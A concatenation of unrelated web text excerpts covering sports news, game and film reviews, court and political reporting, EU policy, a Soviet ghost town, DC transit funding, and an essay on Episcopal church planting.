It wouldn’t be the first time the weather played a role in one of the Hawks’ outdoor games. It was too sunny during the 2015 Winter Classic at Nationals Park in Washington, with Niklas Hjalmarsson saying afterward that the game should have been delayed because the glare off the ice was too harsh, making it unsafe for the players. And in the 2014 Stadium Series game at Soldier Field, it was bitterly cold and snowing.
“We’ve played in all kinds of different settings,” Quenneville said. “The one that was very memorable was at Soldier Field, playing in that snow, and it was cold. It was a special night and it was a great feeling.”
But you can play in the cold and you can play in snow. You can’t play in rain. The good news is the game is scheduled for noon, so the game could still be played in the evening after a lengthy delay, as the Penguins and Capitals did in the 2011 Winter Classic at Heinz Field. Both the Blues and Hawks have Jan. 3 and Jan. 4 off, so the game can even be pushed back, if necessary.
Hossa update
Marian Hossa will join the Hawks in St. Louis. Whether he plays or not is still up in the air. When asked if he expected Hossa to play, Quenneville said, “Expect? I would say between expect and hopeful is probably where I’m at.”
Hossa has not yet returned to the ice since suffering an upper-body injury on Dec. 20 against Ottawa. He has missed four straight games.
Roster report
Brian Campbell drew back into the lineup Friday against Carolina after having his streak of 423 consecutive regular-season games broken Thursday night in Nashville. Rookie Gustav Forsling was again a healthy scratch.
“We’ve got eight defensemen who can all play, all can play meaningful minutes,” Quenneville said. “It’s a work in progress every game, figuring out who’s going to play with who. Four guys have missed games [despite being] healthy. We’ll see how it plays out.”
Email: mlazerus@suntimes.com
Dead Rising 2 Fact Sheet
Release Date: TBD
Genre: Zombie Action
Platform: Xbox 360, PlayStation 3, PC
Rating: TBC
Developer: Blue Castle Games
When a zombie outbreak hits America’s new capital of entertainment, Fortune City, it is every man and woman for themselves. But some adapt better than others to survival on Fortune City’s zombie infested strip. Spurned on by the paternal instinct to protect his daughter, Chuck Greene is one such man.
Dead Rising 2 builds on the combat system of Dead Rising where anything picked up is a potential weapon, by considerably increasing the number of items Chuck will find in Fortune City’s casinos, bars and shops. Just like the original, Chuck will be able to make use of items that range from ‘traditional’ weapons like guns and swords to the more improvised such as roulette wheels, croupier sticks, wheelchairs, stuffed marlins and more! But Dead Rising 2 takes combat one stage further with a set of truly unique weapons including the paddle-saw (two chain-saws attached to either end of a canoe paddle) and the self-explanatory drill bucket.
Like millions of Americans, Chuck is gripped by the TV sensation that is Terror is Reality. Hosted by the flamboyant Tyrone King and ably assisted by his two glamorous co-hosts, Terror is Reality pits ordinary members of the public against an arena full of zombies with a simple challenge – kill more zombies than your opponents and stay alive. The lucky winner will collect big money and the chance to come back and secure even greater prizes.
Like a modern day gladiatorial contest, those lucky enough to get a grandstand seat urge the contestants to spill more zombie blood, with over the top takedowns greeted by rapturous applause and the promise of slow motion replays on the arena’s jumbotron. So, what is it that has forced Chuck to risk his life, is he trying to recapture the fame of his motocross days, does he have a reason to hate zombies, or is it simply the lure of big money?
Dead Rising 2 allows players to experience the carnage of Terror is Reality with a series of multiplayer challenges for up to four players via online play. Whether you’re jumping into giant hamster balls and mowing down the undead; seeing who can place the most drill buckets on zombies’ heads, or taking to the arena on a motorbike with chainsaws for handlebars, the challenges will feature exactly the kind of over-the-top action and humor that Dead Rising is known for. Adding to the competitive nature of these events is the ability to prevent your opponents from scoring, ensuring fierce rivalries as competitors fight dirty to claim victory.
Dead Rising 2 is being developed by Canadian developer Blue Castle Games in close collaboration with Capcom. A number of members from the original Dead Rising team will be working alongside Blue Castle Games throughout the development process, including Capcom’s global head of research and development, Keiji Inafune, who as the game’s Producer, will play an active role in the project.
Prosecutor Alessandro Crini called for 26-year sentences for Knox and Raffaele Sollecito, her co-defendant and former boyfriend, following more than 10 hours of closing arguments over two days. Knox and Sollecito deny any involvement in the killing.
Mr Crini departed from past scenarios by suggesting the crime was not so much sexually motivated - an erotic game that got out of control, as the lower court prosecutor described it - but an act of physical violence with a sexual expression.
He alleged that Knox and Sollecito acted with another man in an explosion of violence sparked by tension between Knox and British student Meredith Kercher.
Mr Crini argued that Rudy Guede - a native of Ivory Coast now serving a 16-year sentence for the murder - may have inflamed tensions between Knox and Kercher after he defecated in a toilet inside the women's apartment and didn't flush.
Mr Crini said Guede, who was friendly with young men living in a neighbouring apartment, had done the same thing the previous week. "It is an absolutely disgusting and incongruous habit that he evidently had," he said.
Testimony in previous trials had cited tensions between Kercher and Knox over the cleanliness of the house they shared with two Italian roommates.
Kercher's murder in the idyllic Italian hillside town of Perugia is getting its third trial after Italy's highest court annulled an appellate ruling overturning the 2009 guilty verdicts against Knox and Sollecito. They were convicted in the first trial, and sentenced to 26 years and 25 years, respectively. Knox's sentence included 1 year for slander.
Knox's lawyer, Carlo Dalla Vedova, said the shift in the prosecution's theory about events leading up to the killing "confirms the lack of proof."
"In a trial based on clues, all the facts can be interpreted. This prosecutor worked very hard, but it doesn't change the situation. There are too many doubts. It calls for only an acquittal," Mr Dalla Vedova said.
Kercher's body was found in a pool of blood in her locked bedroom on Nov. 2, 2007. Her throat was slit and there were signs of sexual aggression.
Kercher was stripped naked during the attack, and prosecutors allege that her bra was removed with a knife that tore off a clasp, one of the most-disputed pieces of evidence in the case. Guede was convicted in the murder on evidence that included physical evidence from a vaginal swab of the victim.
Mr Crini also urged that Knox's separate sentence for slander for falsely blaming Kercher's murder on a Congolese-born bar owner, Diya "Patrick" Lumumba , be raised from three years to four years because, Mr Crini argued, she lied to deflect suspicion from herself - which would be an aggravating circumstance.
Knox returned to the United States a free woman in 2011 after the appellate court ruling, having spent four years in jail, and has remained there for this trial. Sollecito, who also is free, had attended two hearings but was not in court on Tuesday.
In a statement released in Seattle, Knox said her lawyers had filed an appeal of the slander conviction - the only part of the case confirmed by Italy's highest court - with the European Court of Human Rights in Strasbourg, France, claiming the accusation against Lumumba was coerced by police who failed to inform her she was a suspect in Kercher's murder.
"The police were the ones who first brought forth Patrick's name saying they knew I was going to meet him the night of Meredith Kercher's murder, which was not true," Knox said. "I have stated many times that my original comments about Patrick were coerced by the police and not true."
Lumumba's lawyer, Carlo Pacelli, disputed that in his summing up on Tuesday, saying that Knox named Lumumba "spontaneously."
Mr Crini also challenged new interpretations of genetic evidence cited by a Perugia appeals court when it overturned the guilty verdicts. He said a DNA sample on the blade of the presumed murder weapon was clean and belonged to Kercher.
That finding, which was key to the convictions, was cast in doubt during the appeals trial. All of the evidence is up for re-examination after the high-court blasted the appellate court's reasoning.
The trial continues Dec. 16 with closing arguments by the Kercher family lawyer, Francesco Maresca, followed by Knox's defense team the next day. A verdict could come in January.
“Israeli military officers berated Fakher Zayed, 47, for sharing the security videos with human rights groups, claimed he had lied and fabricated evidence, and threatened to bring unspecified legal actions against him if he did not remove the security cameras,” HRW said in a news release.
Zayed alleged that on June 17 four Israeli military vehicles with two dozen soldiers came to his carpentry shop in Beitunia, a town near the West Bank de facto capital of Ramallah, HRW said. It added that a witness, who was at the shop while Zayed made a delivery, said an Israeli officer told him: “If (Zayed) is not here in five minutes we are going to burn this carpentry shop down.”
When Zayed arrived his identification documents were confiscated and he was taken for questioning to Ofer, an Israeli military prison, HRW said.
“They told me that the video I gave to the press was fabricated, that everything I said and all my testimonies are a lie, that this is a serious violation of the law, and that I made the (Israeli army) look bad and caused a lot of problems,” Zayed said, according to HRW.
“They told me the cameras need to be brought down within 24 hours,” Zayed said, according to HRW. “There were so many threats … One of them said, ‘We will squish you like a bug, you are nothing.’”
Israel's military did not respond to Al Jazeera's request for comment.
Israeli forces shot and killed Nadeem Nowarah, 17, and Mohammad Salameh, 16, during a protest on May 15. In security footage, neither of the teens appeared to pose a threat to soldiers at the time of their deaths.
With Spore, Will Wright intends to make you an Intergalactic ruler who begins life as a bottom-feeding primordial soup dweller. When I first saw the game back in early 2006, I wondered if Wright and his team over at Maxis would be able to pull this off? I didn't mean "pull it off" in the technical sense, but in the gaming sense of making it fun. I've waited a long time to see if Wright succeeded, and when my review copy arrived in the mail recently, I found out the answer.
There are whole worlds to explore, but will you want to?
Spore is a game about evolution, but evolution that's intelligently designed by the choices you make. Players design their creatures' traits, and those traits ultimately influence the civilization. The game is segmented into five phases of the evolutionary scale: Cell, Creature, Tribal, Civilization, and Space, with each stage presenting a different kind of game-play; a progress bar along the bottom of your screen marks how far along you are within each evolutionary stage. This is a game that wants you to feel comfortable playing and exploring; the penalty for "dying" is not severe.
At the outset of this review, I think it is only fair to mention that during the installation process, EA "highly suggested" that I allow the installation of the EA Downloader so Spore could stay "up-to-date." The message was a bit vague, but it implied that this was the only way patches and other content would be made available to me. Since I already had the EA Downloader installed it was a non-issue, but this might be an area of contention for some. This behavior is reminiscent of previous MMO games, and immediately it became apparent that Spore is more than a single-player experience. Once logged in, you will be granted access to the game's menu system and to EA's network, which allows on-the-fly access to other user-created content. I attempted to use the offline mode, but was unable to determine exactly how much my game would be affected. Overall, the message was simple: play online, by EA's rules, or several features could be unavailable. And be very clear: this game is wrapped up in obnoxious DRM, and many gamers just plain don't like it.
The graphics aren't amazing, but they certainly are attractive
Kicking the game off, I chose a colorful planet nestled in the galaxy of Spore and started at the beginning—the Cell Stage. Already presented with choices, I had the option to select whether I wanted to be a Herbivore, Carnivore or Omnivore. Being the type that would rather play a Renegade (meat eater) than a Paragon (vegetarian) in games like Mass Effect, I naturally went with carnivore.
Count Osvaldo di Lambertenghi (Renato Rascel) is in a fix. In order to settle a huge debt with the taxman, he has to sell his ancestral home to a corporation that turns the castle into a hotel. The agreed price only just covers the count’s debt. And thus, adding insult to injury, the count is forced to work at the hotel, as he finds himself both home- and pennyless after the deal. When a mysterious uncle from Germany (Christopher Lee) announces his imminent arrival, Osvaldo hopes for an inheritance, but he gets much more than he bargained for.
So much for the premise. There even is something resembling a plot in this film, but only just. And unfortunately, the film fails to actually tell a coherent story, so premise, plot, and characters go to waste.
The film is set at the sunny Italian seaside, and cast and characters are what you’d expect from a Continental comedy from that era. These films are for the most part all harmless and entirely forgettable fluff. Because of these circumstances, there is little to be said about the characters, or the acting. The various actors and actresses that appear in this film do a decent enough job, I suppose, but within the ranks of supporting characters only one or two are memorable, and even those are not used for their potential and their scenes fall flat.
The film is entirely a vehicle for its lead actor, Renato Rascel. The short, odd-looking comedian was a star in his native Italy, and roughly half the film seems to be reserved for his “solos”. Rascel was famous for his nonsensical sentences, and in his mimic art and his gesticulation is very reminiscent of the style that a few years later would help Louis de Funès to fame. I therefore expect Osvaldo’s comical and nonsensical monologues to be fast-paced and absurdist, a source of comedy that probably works in Italian as well as French, but – at least in this case – does apparently not translate well into English. So what you get when watching an English dubbed version is a huge amount of scenes with monologues that are, at best, mildly amusing, and mainly have the effect of slowing down the action and robbing the film of what little momentum it has.
Next to Rascel, the film’s selling point was the appearance of Christopher Lee as the mysterious uncle, picking up from his role as Dracula in Terence Fisher’s film from the previous year. Lee does not have as much screen-time as one might wish, but his appearances still help to get you through this film. He is playing his role entirely straight, offering a great backdrop against which the comedy can unfold. At the same time, however, Lee’s acting takes the shenanigans around him into account and does not clash with the film’s humour.
Christopher Lee was of Italian descent on his mother’s side and is said to have spoken Italian fluently. But from what little information I can scrape together, it seems that he might not have done his own Italian lines in the film’s original. And according to imdb, the voice in the English-dubbed version is not Lee’s either – although it sure sounds a lot like him.
The striking difference in physical appearance between uncle and nephew is used for full comic effect. One the one hand Lee’s German Baron – tall, graceful, hauntingly handsome, and menacing. On the other hand Rascel’s Italian Count – short, slightly rotund, entirely lacking any grace or noble poise, and saddled with a battered demeanour and a funny face.
Rascel was 5′ 2”, Lee 6′ 5”, and seeing the two of them standing next to each other during their first encounter is something to behold. “Eight feet tall”, Osvaldo calls his uncle.
Apart from Lee, the only other thing worth mentioning is the music. I really like the score music employed in the “mysterious” scenes. Like many Continental films of the time, songs are mixed into the film. Tempi Duri per i Vampiri features only one song sung in full by a character, and another played from a record. But shortly before the end credits, there is another, rather famous song: “Dracula, cha-cha-cha” – a silly piece today regarded by some as a bit of a cult hit.
All in all, this film is rather disappointing. I can acknowledge that some of the humour might have been lost in translation, but generally speaking the focus on Rascel instead of Lee is a mistake from today’s point of view.
Premise and story could have been used in various ways, but the one the film finally settles on is unfortunate and leads nowhere. The obvious option, to make this a fish-out-of-water story focussing on Lee’s character, was not taken. It would have made for a far better film; more farcical perhaps, but still better than what we got here.
A whole bunch of people contributed to the development of the script, including Rascel and the film’s director Stefano Vanzina. But all involved take the premise and then do very little with it – and in doing so they manage to make the film seem longer than it actually is. The sad truth is that this film simply has no story to tell.
Rating: 2.5 to 3.0 out of 10
The European public data mash-up would operate on an immense scale and would lead to the ambitious modularisation of European public services and computer systems, creating something akin to a pan-European G-Cloud and a "pick 'n' mix" menu of shared services.
The Commission delighted open systems campaigners who feared that powerful software companies would block any attempt to impose open standards over their own proprietary tools for data communications and systems interoperation.
The European Interoperability Strategy introduced by Commission Vice-President Maroš Šefčovič, promises to build the technical foundations for greater European integration, a more effective single market and the radical introduction of pan-European public services built as an amalgam of national resources.
At the centre of the plan was the interoperability not just of public computer systems but of public services.
European businesses and citizens could not co-operate "without real, effective interoperability between public administrations at all levels" said Šefčovič in a statement.
The Commission warned European member states against putting up "electronic barriers" between one another, as would happen if they failed to ensure their computer systems could communicate and share data readily.
The plan augmented the European Union's law of attraction - that the European project would lead inevitably to closer integration - with another gravitational force: that of computer networks and the internet, which had produced an even more irresistible imperative for sharing resources.
The glue above it all would be a system of "semantic interoperability", akin to web founder Sir Tim Berners-Lee's semantic web - a project "never attempted on this scale" by which member states would find common ways of identifying and giving meaning to data they shared.
The underlying principle, defined yesterday with the publication of the long-awaited European Interoperability Framework, was "technological neutrality and adaptability".
It amounted to an open data policy for Europe, and a commitment to use open standards where they existed and they met the needs of the public authorities that were deploying them.
Veteran software campaigner Florian Mueller said on his blog: "I am delighted to see that the Commission adopted a pragmatic and inclusive definition of open standards."
The Commission had settled the controversial differences between free software campaigners and patent holders in a way that was "absolutely consistent" with the middle-ground.
The plan encouraged member states to get involved in standard-setting, assisting them with definitions of interoperability and open standards that Mueller said united the two warring software factions.
But in the forest nearby, there is a different Vogelsang. In its day, it was completely autonomous from the nearby village, had its own residential buildings, cinemas, warehouses and even a school. Some 15,000 people once lived there, and it was seldom quiet. The second Vogelsang was the home of Soviet troops, the warehouses were crammed full of tanks, howitzers and all-terrain vehicles. The cinemas were for the soldiers' families.
Vogelsang, one of the largest Soviet garrisons outside of the Soviet Union, was the base of the 25th tank division. For almost 40 year, soldiers belonging to the Group of Soviet Forces in Germany lived here -- until they finally withdrew in 1994.
Sine then, Vogelsang has been left to the elements, a ghost town in the middle of the Brandenburg forest. And yet, two decades after the last light was switched off, there is still plenty of life at the site. Deer and raccoon roam among the trees as do feral sheep and goats.
Testament to Former Prisoners
The barracks too still hint at the life they once contained. While most look the same from the outside, plenty of differences can be seen on the inside. The type of heating within, for example, indicates whether they housed officers or mere foot soldiers. The former tended to have decorative, tiled wood stoves instead of simple potbelly stoves. Window latticework in the form of a shining sun likewise provided a bit of ornamentation.
The residential buildings, similar to the gigantic halls housing military equipment and vehicles, were painted in standard shades of gray, blue, green, yellow and sometimes even pink. The resulting mixture is a photographer's dream.
A walk through the facility also reveals several buildings and rooms that were built solely for the family members of the soldiers stationed there, highlighting its function as a kind of autonomous city. It even had a kindergarten and its own school.
One part of the facility was sealed off from the rest, surrounded by high walls and barbed wire. It housed the prison, full of tiny cells, some of them with no windows. The only furnishing was a wooden bench that stretched from wall to wall, leaving little open space in the cell. It is difficult to believe that people were locked into the rooms, but messages scratched into the walls continue to bear testament to their former prisoners.
In an interview on Fox & Friends earlier this month, Romney said that he had “helped create over 100,000 new jobs” during his time as a business consultant.
Romney spokesman Eric Fehrnstrom later told The Washington Post that those figures included all the jobs created by companies that Bain had helped to grow, not necessarily during the period Romney worked at Bain.
“His campaign offered no definitive proof that Bain added more jobs than it eliminated while Romney headed the firm,” the Post‘s Josh Hicks wrote in November.
In recent days, a super PAC supporting former House Speaker Newt Gingrich released a film attacking Romney’s record at Bain, and Texas Gov. Rick Perry has called the venture capital firm “vutures.”
“I think what Gov. Perry is getting at is that Gov. Romney has claimed to have created 100,000 jobs at Bain and people are wanting to know, is there proof of that claim?” Palin told Fox News host Sean Hannity Wednesday. “And was it U.S. jobs created for United States citizens?”
“Nobody should be surprised that things about Bain Capital and maybe tax returns not being released yet and maybe some records not being as transparently provided as voters deserve to see right now, don’t be surprised that that’s all coming out today because it would come out as an October surprise had the GOP candidates not brought those out today,” she added.
“It’s kind of like some come-to-Jesus moments for some of these candidates, and that’s healthy and that’s good.”
Speaking to reporters at Cherokee Trikes & More in Greer, South Carolina Thursday, Romney dismissed criticism over his lack of transparency.
“Staples, Bright Horizons Children’s Centers, the Sports Authority, Steel Dynamics — those four alone added well over 100,000 jobs,” he explained. “And then the press has also reported on businesses that have lost employment, and that was a few thousand jobs that were lost.”
“I think anytime a job is lost, it’s a tragedy,” the candidate admitted. “For the family, for the individual that loses the job, it’s just devastating. And every time we invested in a business, it was to try to encourage that business to have ongoing life. The idea of making a short-term profit doesn’t really exist in business.”
Watch this video from Fox News’ Hannity, broadcast Jan. 11, 2012.
Since November of 2016, riders, allies, ANC commissioners, and Greater Greater Washington have been advocating for the 59, a bus that would operate similar to an express route along 14th Street NW. On Tuesday, the DC Council approved funding for the bus.
Riders have faced overcrowded and insufficient service on 14th Street for years, even as the area has experienced tremendous residential and commercial growth. Reviving a previously-shelved WMATA proposal from four years ago, advocates have been asking officials to fund a 59 limited stop service line to supplement the existing service available. The new service would dramatically cut transit times for many workers and neighbors, as well as help reduce congestion overall along the route.
The budget was approved on Tuesday, with councilmembers confirming that the 59 funding was part of it.
I am pleased to confirm that the FY 2018 budget includes funding for the express bus line down 14th Street! — Brandon T. Todd (@CMBrandonTodd) June 13, 2017
Mayor Bowser funded this in her original budget proposal and the Council didn't make any changes. Should be launching sometime in FY18. — CM Silverman Office (@CM_Silverman) June 13, 2017
In addition to $1.2 million for the 59, the budget also includes $800,000 for the W4, a bus line that runs between Deanwood and Anacostia in Wards 7 and 8. That money will go toward studying and implementing increased W4 frequency.
The new budget will include funds for expanded W4 service. The W4 runs from Deanwood to Anacostia. Image by WMATA.
Mayor Muriel Bowser and the majority of the DC Council who publicly endorsed the idea deserve a lot of credit. Councilmembers who publicly advocated in favor of 59 funding include Brianne Nadeau, Brandon Todd, Jack Evans, Elissa Silverman, David Grosso, Charles Allen, and Robert White.
As I have said throughout the campaign, in a city with a growing population, it’s essential to use that money to invest in making all District residents’ lives better. The 59 bus will shorten commutes, improve the environment, reduce congestion, improve public health, and help our city grow. These benefits will accrue to longtime residents and newer residents, young and old, and those of all races. Those are just the kind of investments DC needs.
Neighborhood leaders played a huge role here
I believe this is the most concerted, broad effort ever undertaken by Advisory Neighborhood Commissions (ANCs) to improve bus service in a particular corridor. Hopefully it’s the beginning of a trend toward collaborative ANC work to improve transit across the city.
ANCs often focus narrowly on their own jurisdictions, and it is challenging and time consuming for one commission to work with another. All commissioners involved are unpaid elected officials, and since the work is uncompensated, commissioners generally have full-time jobs as well, many have families and all have other community commitments. Given all the competing demands on their members' time, it’s rare for large numbers of commissions to come together and advocate for the same thing. In this case, ten commissions advocated for better bus service on 14th Street.
Map of ANCs who passed resolutions in favor of funding the 59 bus. Image by Peter Dovak.
This is a great example of the power of coming together and working toward an achievable result. Hopefully it is just the beginning of focused, smart advocacy for improved bus performance and funding.
It happened Monday. Investigators say the 66-year-old was assaulted by two people, one of whom is a relative.
After the assault she was threatened with a knife and bound to a chair with duct tape before being locked in a bathroom of the home. Her credit card and vehicle were taken.
She was eventually able to escape and call police. She was taken to the hospital for treatment.
The suspects were arrested in Rockford, Illinois on Tuesday. They face charges of assault with intent to murder and unlawful imprisonment.
Newschannel 3 has since learned that Cory Wagner and Tiffany Chanthavong were the two arrested for the crime. We are working to learn more about this case and will provide updates as information becomes available.
By Chris Marsden
7 June 2013
The White House issued its most threatening statement yet yesterday, denouncing Iran and the Lebanese Shia movement Hezbollah as “partners in tyranny” for their support of the Assad regime in Syria.
This week, Syrian government forces claimed victory in the battle for the strategic town of Qusayr, near the Lebanese border, after weeks of fighting beginning May 19. Qusayr lies along a land corridor linking Damascus and the Mediterranean coastal area that is home to Assad’s Alawite sect and is, at the same time, key to maintaining opposition supply lines to Lebanon.
The battle involved Lebanon’s Shia Hezbollah militants in support of Assad, pitched against the numerous Sunni groups such as the Al Qaeda-affiliated Al Nusra Front and other foreign fighters backed by the region’s Sunni states.
White House spokesman Jay Carney responded by condemning “in the strongest possible terms the Assad regime’s assault on Qusayr,” adding: “It is clear that the regime is unable to contest the opposition’s control of a place like Qusayr on their own, and that is why they are dependent on Hezbollah and Iran to do their work for them.”
After being routed from Qusayr, the leader of the Supreme Military Council of the Free Syrian Army, Gen. Salim Idris, told the BBC that Hezbollah fighters were “invading” Syria, and “when they continue to do that and the Lebanese authorities don’t take any action to stop them coming to Syria, I think we are allowed to fight Hezbollah fighters inside [Lebanese] territory.”
He made good on his word Wednesday night, as a dozen rockets fired from Syria hit areas in and around the Lebanese city of Baalbek, injuring a number of people. Lebanon’s National News Agency said 11 rockets hit various locations, including the city centre.
In another effort to escalate the war, opposition fighters seized the Syrian-controlled section of the Quneitra crossing in the Golan Heights bordering Israel. Austria announced that it was withdrawing its 380 troops from the 1,000-strong United Nations force monitoring a ceasefire between Syria and Israel. Tel Aviv declared the border area a closed military zone, shut the main road link and evacuated farmers. The border area was reclaimed by the Syrian Army, but not before three mortars had landed in Israeli territory.
Tensions have been whipped up throughout the week by the US and its allies. The past days were dominated by allegations emanating from France and Britain of chemical weapon use by the Assad regime, in a transparent effort to supply a pretext for stepped-up military aggression.
In Paris Tuesday, French Foreign Minister Laurent Fabius said he had passed analyses to identify military toxins to the head of a United Nations inquiry into chemical weapon use in Syria. “These analyses demonstrate the presence of sarin gas,” he claimed. “In view of this evidence, France is now certain that sarin gas has been used in Syria several times and in a localised manner.”
President Francois Hollande later echoed Fabius, declaring, “We have elements of proof and we urge the international community to act.”
Both stressed that France would not act unilaterally and would hold talks with Washington. Their concern is that peace negotiations planned to be held in Geneva should not be too openly exposed as a fiction, given the stress being placed by the Obama administration on neutralising Russian opposition to the fall of its main Middle East ally.
“A line has been indisputably breached,” said Fabius and France and its allies must decide “whether to react, including in an armed manner… But at the same time we must not block an eventual peace conference.”
The conference will not now take place this month, as planned, and will meet in July, if at all.
France’s announcement was meant to reinforce the more tentative findings of a UN commission of enquiry on human rights abuses that cited “reasonable evidence” of chemical weapons being used in Syria on four occasions in March and April but without attributing blame.
Britain’s Foreign Office also said that body fluids collected from victims of one or more attacks in Syria were found by scientists at its Porton Down facility to contain evidence of sarin use.
There is every reason to question any claim made by France or the UK, given their record of lies to justify wars in the Balkans and Iraq—more so because the claims made now are insubstantial and without independent verification.
Some of the blood samples used by France were smuggled out of Syria by Le Monde journalists and reportedly supplied by local doctors. There were no details on how France obtained other samples used. In only one case has Fabius claimed that the use of sarin is directly attributed to government forces, saying there was “no doubt that it was the regime and its accomplices.”
A UK spokesman was more equivocal, stating that there could be no “100 percent certainty” that the Assad regime had used chemical weapons. The FCO would not even confirm where or when its samples were collected. Mark Lyall Grant, Britain’s ambassador to the United Nations, stated only that they revealed evidence suggesting use of a number of different chemical agents, “sometimes including sarin, sometimes not.”
Ake Sellstrom, who heads the UN investigation, issued a statement cautioning that “the validity of the information is not ensured in the absence of convincing evidence of the chain of custody of the data collected.”
Ultimately, what happens next will not be decided in Paris or London, but in Washington.
President Barack Obama has warned that use of chemical weapons crosses a “red line,” but there are divisions over how far and how fast to proceed against Syria.
After discussing France’s and Britain’s claims Tuesday evening at a meeting of NATO defence ministers in Brussels, Defence Secretary Chuck Hagel told reporters that he had not seen the evidence and that NATO’s role continues to be to help protect alliance members such as Turkey. “[B]eyond that we didn't get into any additional war plans regarding Syria,” he said.
There is no popular support in the US for war against Syria, and a great deal to lose if things go wrong for the ruling class. That is why, to date, the Obama administration has preferred to proceed through local intermediaries—the FSA and its regional backers, Turkey and Gulf States such as Saudi Arabia and Qatar. It wants to eliminate Assad as an ally of Iran, without unduly provoking Russia, and is seeking to cook up a replacement regime that is acceptable to Moscow.
There is in addition mounting concern that the conflict is rapidly spreading out of control, dragging in neighbouring Lebanon and Iraq and even Israel. There are divisions over how to respond, with Republicans such as Senator John McCain and former Secretary of State Condoleezza Rice lobbying hard for Obama to make good on his “red line” threat.
Russian President Vladimir Putin said on Tuesday that Moscow had so far refrained from supplying the powerful S-300 surface-to-air missile systems to Damascus he had earlier said would be a “stabilising factor” and would deter foreign intervention in Syria.
After talks Tuesday with European Union leaders in Yekaterinburg, Putin said the contract signed several years ago had not yet “been realised” because, “We do not want to upset the balance in the region.”
Here I want to dispel some common myths that I have run across in 18 years of working with church planting in the Episcopal Church. In place of these, I want to offer the truth I have observed, even if some of the truth is more than a bit inconvenient. I am pictured here baptizing a new member of the Body of Christ while at King of Peace.
Church Planting Myths
MYTH 1 – Church Plants Aren’t Really Episcopal
Check out Grace Church in Yukon, Oklahoma and Our Lady of Guadelupe in Seattle and you will quickly discover that some very Episcopal churches that are among those traditional churches who received $100,000 grants through the churchwide budget.
An interesting issue though is that I have seen some push back around the church on the work funded through Mission Enterprise Zone and Church Planting grants from the 2012 General Convention that seems to have forgotten recent history. I was in the hearings that led to those resolutions and the whole goal (and the reason for excitement) was that Deputies and Bishops wanted to grant greater freedom in order to foster creativity. The idea was to fund some projects that point to new possibilities. So, yes, we are seeing some innovative projects like The Abbey in Birmingham, Alabama, which is a coffee shop with a church. That is perfect. The 2012 General Convention said clearly that we need to experiment boldly for the sake of the church. Those experiments have been taking place and we can see the fruit that new work is already bearing. (Pictured here is Grace Episcopal Church in Yukon, Oklahoma on Easter.)
Just don’t buy the myth that new church starts don’t look and feel Episcopal. This not only misses the work we did in Kingsland, but also the church plants started by colleagues like Susan Brown Snook at Nativity in Scottsdale, Arizona and Alex Montes-Vela at St. Mary Magdalene in Manor, Texas. I am just equally excited about the work done by my friend Jimmy Bartz at Thad’s in Santa Monica, California. Thad’s is a mission station doing work I am proud to find in the Episcopal Church. We need all of these ways of being church and more and one can easily show how they are all true to the best of our Anglican tradition.
MYTH 2 – Church Planting Harms Existing Churches
This seems like common sense, that a new Episcopal church would sap strength from any nearby Episcopal church. But as by design new church starts reach out specifically to those with no church home—usually in different age, ethnic, or socio-economic groups from those already reached—little crossover exists. This is not to say that no parishioner from an existing church ever wanders to the new church, but that this small amount of movement has no large impact. And at the same time, the missional focus of the new ministry is not without its effect on neighboring parishes. I know that prior to our starting King of Peace, Christ Church in St. Marys was 10 miles away and our nearest Episcopal neighbor. The congregation had discussed for years whether to build a new church building as the existing space was lovely, but tight on Sundays. After we got well underway, they started building and the county had two new Episcopal church buildings within a year of each other (Christ Church’s new building, with the historic one in the background is pictured here). The spirit of taking a risk for the Kingdom of God is sometimes caught by other congregations.
MYTH 3 – Church Plants Are Too Expensive
With our preference for full-time seminary-trained priests, Episcopal churches carry significant start up costs. Yet, money invested on a church start quickly leverages other money. The vision and passion in a new church often attracts sacrificial giving rather than simply dues paying members. From a strictly monetary viewpoint (which I do not hold), we have found in the Diocese of Georgia that as new churches buy land and build buildings with money raised from the congregation, they come to enjoy assets well beyond the value put in by the broader church. This is not to say that starting churches is cheap, but that it is fiscally responsible to invest the money given to the glory of God to expand the work of Christ’s Body, the church.
MYTH 4 – Church Plants Are Not Sustainable
Moving to self-sustainability is the goal held out for every new ministry. We will get you going, the denomination or diocese says, but you need to stand on your own feet as quickly as possible. Some new church starts will never reach this goal. This is just true. In every venture begun without assurance of success, the possibility of failing to meet the mark is ever present. Let us first acknowledge that there are two types of new ventures. Each can and should become self supporting, but there is more than one way to achieve that goal.
Traditional church starts can attract enough people to the new ministry to support that work within a projected period of time, whether the advanced planning sets that target at 3 or 5 years. After which the new congregation will begin to give back to the diocese.
But then there are new starts like Kairos West, a Community Center which is a cathedral ministry in Asheville, North Carolina, that offers a mid-week worship service in their store front. As long as a new ministry like this can generate the interest and excitement of others to support this work, even though they never attend, the ministry is self-sustaining. This model has worked for decades with campus ministries, for example, where no one expects the college students to give enough in offerings to pay the full costs of the ministry. So, let us broaden our definition of self-sustaining before holding out the goal for all new ministries equally. (Pictured is the Rev. Alex Montes-Vela with one of this year’s Easter baptisms at St. Mary Magdalene in Manor, Texas).
MYTH 5 – Episcopalians Don’t Know How to Start Churches
Across this church, I know gifted priests with proven skills in starting new congregations. At one point I spent 18 months assisting the Rev. Tom Brackett, the Episcopal Church’s Missioner for New Church Starts & Missional Initiatives, in hosting online meetings for those interested in and already working in founding new congregations. Month after month, I met an ever broadening circle of practitioners who know this work well and carry out this evangelistic work in their day to day ministries. Tom continues that work. My friend Susan Brown Snook has also just written the book on Episcopal Church Planting, God Gave the Growth. Buy this book even if you never intend to plant a church. The strategies, approaches, and problem-solving
techniques she offers are good for the whole church.
The Truth
TRUTH 1 – Church Plants Form Outside In
I started by knocking on 100 doors and asking my new neighbors what an Episcopal church could do for Kingsland, Georgia. Then the new church set about to make ministry to the community its first priority. This is a common approach. In all cases, I find that new churches start by considering the context in which the new worshiping community will form and then matching the ministry to that context. Being context sensitive is not just a clever use of buzzwords, but a way of engaging the corner of the vineyard in which you plant. I find this common to the DNA of church planting work. This outward focus is Gospel driven and a compelling example to other churches.
TRUTH 2 – Church Plants Are Demonstration Gardens
Because of that outward focus, church plants try new things. Sometimes new ministries try and fail, sometimes they try and succeed wildly. The failures as well as the successes lead to important lessons. This work then germinates new ideas for others to try. One example is the Lutheran congregation St. Lydia’s whose dinner party style of worship has led to other congregations in different denominations to try dinner church.
TRUTH 3 – Church Plants Reach New People
Reaching new people is no accident. The work of church planting is not stealing sheep from other stalls, but leaving the sheep fold and going after the lost sheep. People with the passion to go into this risky enterprise do so out of a desire to reach more people with the love of God as found in Jesus Christ. As church plants focus on the demographics we are not reaching in an area, they come in contact with folks who would not otherwise enter the red doors of an Episcopal Church. This is good news.
